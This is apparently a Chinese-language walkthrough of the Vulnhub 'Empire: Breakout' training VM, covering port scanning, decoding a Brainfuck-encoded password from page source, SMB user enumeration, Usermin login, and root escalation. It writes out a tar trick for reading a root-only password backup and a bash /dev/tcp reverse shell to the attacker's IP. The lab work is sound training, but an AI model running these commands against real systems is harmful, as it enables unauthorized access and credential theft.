Vulnhub靶机渗透之权限提取,SMB泄露问题-靶场Breakout
学习前言
vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。
Vulnhub 官网:Vulnerable By Design ~ VulnHub
今天用到的靶场Breakout:Empire: Breakout ~ VulnHub
准备工作
环境:Linux kali Breakout靶机 浏览器
知识点:Linux基础
一、信息收集
我们拿到靶机后打开直接看到IP地址了
但是如果在真实的环境当中进行内网渗透,我们看不到目标主机怎么办呢
我们知道,内网一般存在于一个网段或者不同网段,可以用
1 | Nmap -sn 192.168.159.0/24 #扫描整个网段里的所有IP地址 |
这里我们直接知道IP为:192.168.159.134
第一步:开始收集它开放的端口
1 | Nmap -sV 192.168.159.134 |
可以看到开放的端口是很多的有:80 139 445 10000 20000
首先我们先访问一下 80 端口
有啥东西
发现了个Apache的页面,说明了它用的中间件是 Apache2
发现这个有啥用呢,也没发现什么敏感的信息,正当我准备关闭的时候,按下了F12 发现了个不一样的东西
一窜窜东西还提示:
1 | don't worry no one will get here, it's safe to share with you my access. Its encrypted |
翻译过来大概是:不要担心,他很安全
哪它到底安不安全呢?起初我以为是简单的摩尔斯密码,但我一看,有点不像,因为它多了几个符号杂七杂八的东西,
1 | ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++. |
然后我试了各种密码都不对,最后我还是通过csdn的一篇文章,看到了原题,才知道这是ook加密
最后解密过来就是: .2uqPEfj3D<P'a-3
推荐解密工具:Brainfuck/OoK加密解密 - Bugku CTF
这一长串的东西,有点像密码,但我们又不确定,先存着
然后我们再看看 10000 和 20000 这个端口里面是啥
一个网站是Uermin 一个是 Webmin
两个网站挺正常的也没啥可以的点。
二、SMB 泄露
我们通过端口扫描的时候发现了它开启了SMB服务
,文件共享服务
那么我们是否可以通过一些工具来,扫描这些文件有没有我们想要的内容呢?
我们试试用
1 | enum4linux 192.168.159.134 |
Enum4Linux 是很棒的扫描工具,可以扫描发现SMB泄露的文件
通过扫描我们发现了敏感的东西
发现了啥 再\Unix User\ 文件有个用户文件叫做cyber
说明什么,说明了这个可能就是系统的某个账户,那么再结合我们上面的密码,是否可以访问后台了呢,首先刚刚有10000 和 20000 两个网站 一个是web应用的后台 密码应该不能是系统里的用户
所以我们锁定了Usermin,我们试着登入试试
登入成功,既然是个文件管理系统,那不就好办了,可以知道网站上的所有文件
我们直接打开终端
通过查看目录,发现了一个user.txt
打开它就得到了第一个flag
1 | [cyber@breakout ~]$ ls |
三、Linux提权
在我们打开另一个 tar
文件的时候发现啥权限不够,查看权限的时候发现只有root用户才能操作,我们用户是 cyber 无权操作 但是这个是可执行文件,说明什么?
权限如何看:
1 | r 表示文件可以被读(read) |
那么我们如何提权呢?如何拿到root
权限呢?
我们找到网站目录文件看看有啥好东西
敏感文件 backups
备份文件,进去看看
还是没发现什么有用的文件,那是不是隐藏了?
1 | ls -la |
果然有个 old_pass.bak
我们只有读取的权限,那么我们通过打包再解压的方式
一定要cd ~ 不然会没有权限访问
1 | ./tar -cvf oldpass.tar /var/backups/.old_pass.bak |
最后
得到密码了
后面发现直接 su 的话是不能直接登入的
所以就用到强大的kali 用 NC做个反弹shell
nc -lvvp 999
靶机上输入:里面是kali的IP、 999 是监听的端口
bash -i >& /dev/tcp/192.168.159.128/999 0>&1
最后就得到flag了
总结
Vulnhub的这个靶场非常适合新手的朋友,里面包含了 信息收集,密码解密,SMB共享文件泄露
备份文件泄露,通过泄露的密码进行Linux提权。